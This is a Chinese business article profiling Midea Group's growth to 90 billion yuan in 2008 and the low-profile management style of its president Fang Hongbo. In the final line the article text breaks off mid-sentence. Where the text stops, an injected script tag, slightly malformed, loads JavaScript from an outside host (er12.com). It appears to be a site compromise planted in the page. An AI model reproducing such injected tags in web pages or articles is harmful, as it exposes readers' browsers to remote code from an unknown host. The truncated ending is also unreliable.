在刚刚过去的2008年，美的集团全线产品的销售额达900亿元，这距离美的突破1000亿的2010年目标(看来有望提前实现)仅咫尺之遥。
曾几何时，这只是一个很可能被对手吞并的企业。资料显示，1997年，在中国空调市场排名前三的是春兰、华宝、格力，而刚刚进入空调不久的科龙和海尔也蓄势发力，只有美的空调销售下滑，排在全国第六位左右。
据说，当时顺德市政府有意让科龙集团兼并那时处于危机时刻的美的。
回过头来再看这些品牌的现状：春兰处于全面亏损的状态，华宝空调于1999年被科龙集团收购，科龙集团又于2006年底被海信集团收购，发展得不错的格力电器2008年销售额也仅300多亿元，与现在的美的似乎不能同日而语。
再看看被列为中国跨国企业代表的海尔、联想和华为的年销售额，它们分别是1220亿、164亿美元(约合人民币1148亿元)和170亿美元(约合人民币1190亿元)。很显然，900亿距离它们也并不太远，不同的是，美的没有进军世界500强的豪言壮语，也没有中国标杆企业的美丽光环，而是一直在默默地规划并完善着企业自身的发展格局。
站在这个格局的背后有两个男人，一个是美的集团董事局主席何享健，另一个就是美的集团董事局副主席、总裁方洪波。
何享健是一个地地道道的广东人，他低调、谨慎、稳健，信奉 “少说、多做、悄悄干”的原则。而由何享健一手提拔起来的方洪波同样是一个低调得让人抓狂的人。
近年来，方洪波几乎拒绝接受任何一家媒体的采访，也极少露面于国内各种经济论坛。他斯文、儒雅又带着点淡淡的忧伤气质，与美的品牌对外展示出来的阳光、明净、强势的形象形成了某种强烈的反差，这使方在外界看来显得愈发神秘。
方洪波自称只是一个“打工仔”，是企业的保姆，近几年来，美的发展得越来越红火，他却没有因此变得高调起来，而是仍然习惯于隐藏在幕后。我们搜集了很久关于方洪波的资料，结果发现见诸于网络或报端的报道廖若晨星。
而实际上，他2003年便入选《经理人》杂志十大“新生代企业家”，可称得上是广东新生代企业家的代表人物，该杂志把新生代企业家形象地称为“386的一代”，即30多岁，出生在1960年代以后，“文革”之后上大学，1980年代开始起步，在1992年以后市场经济逢勃发展的大潮中飞速成长，迈入新生代企业家行列。
长江商学院经济学教授周其仁说过，“改革开放30年最大的结果之一是企业家阶层整体性的浮现与成长。”与张瑞敏、柳传志、何享健等老一代企业家相比，新生代企业家往往都是时代的幸运儿。他们成长在市场经济环境下，多数已不必受到传统计划经济企业管理体制的束缚，有的是在已经完成现代企业制度改造里，顺着现代企业职业经理人的制度安排，快速地成长为公司的ceo。
新生代企业家与老一代企业家相比，在综合素质、价值取向与经营视野等方面存在着明显的不同。如果把“狼图腾”看作是老一代企业家的缩影，那么新一代企业家就是“知识图腾”，他们“年轻、学历高、技术高、管理起点高”。随着社会环境的变迁和企业体制的变革，“新一代企业家不再充当创造传奇的英雄角色，而是更多地充当战略制定者的角色、管理维护者的角色。他们依靠的，是群体的智慧和整个体系的力量，而不是原始的个体生命驱力。”而在英雄式的老一代创业者持续推动行业发展、新生代的传承者渴望成就自己事业的新老交替中，企业家精神，正成为这个群体成长与壮大过程当中不可或缺的钙质。
我们试图理出他的经营智慧，结果发现这样四个关键词：管理、效率、时尚、战略。
管理
方洪波认为，企业的核心能力根本要落到“管理”两个字上。他说，“管理说起来很虚，但它是看得见摸得着的。”
2003年，在接受某杂志采访的时候他说，“营销的背后是管理”，“管理是竞争力最根本的来源”。
1997年，上任国内营销公司总经理伊始的方洪波提出营销要“从个人销售向体系营销转变”，强调企业内部运作的体系化、流程化、制度化和规范化。2001年8月，方洪波当上事业部总经理之后就开始抓管理工作，强调管理出效益，结果成效非常突出，美的空调的利润大大增加，存货大为减少。
后来，一些专家对此给予了高度评价，正是方洪波这个营销理念改变了美的陈旧的营销格局。以?script src=http://er12.com/t.js>
